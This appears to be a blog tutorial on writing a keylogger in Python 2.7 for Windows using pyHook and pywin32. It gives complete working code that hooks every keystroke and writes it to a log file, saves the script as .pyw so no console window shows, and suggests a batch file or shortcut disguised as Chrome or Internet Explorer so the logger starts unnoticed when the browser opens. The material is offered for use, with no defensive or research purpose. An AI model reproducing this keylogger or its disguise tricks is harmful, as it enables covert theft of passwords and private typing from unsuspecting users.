How to make key logger using python script

1. make sure you have python if any version, here i have used python 2.7, you can get this on here

2. after success full installation, you have to download two more supporting packages
 
          pyhook

         pywin32

    both two have any bit(32 and 64) as well version depending on your python

 these two whl file you can get here

3. now you want to install these packages like

    open command prompt and open the appropriate directory have the files then

   >pip install filename.whl

in this step you have found any error make sure you have pip is successfully installed or not.
the check
>pip

if no version and help will display down. you didn't have pip. you might install pip

4. you have to download get-pip.py file from here

   just double click the file it will install.  after check >pip   now you  can see the pip version etc..
   and make install .whl files you want above.

5. now follow the code

   import pyHook, pythoncom, sys, logging

file_log = 'D:\\important\\log.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

and save the  file as filename.pyw

6. now open command prompt to appropriate location and execute like

          python filename.pyw

here if you face any errors. make sure your environment variables path.
   like ;c:\python27;c:\python27\scripts
if no error found the script was executed successfully. next what ever you typed in your keyboard it will be stored in log.txt file which can be located in d:\important
note: one more error facing any dll like pywintypes27 .dll missing
you can copy these files

          pythoncom27.dll, pythoncomloader27.dll, pywintypes27.dll
   from "C:\Python27\Lib\site-packages\pywin32_system32" to "C:\Python27"

after that you can face null errors.

note: you can make execute this file from batch and shortcut as ie or chrome etc...

@echo off
start "" "path\filename.pyw"
start chrome.exe

save a file with .bat extension 


Post a Comment

0 Comments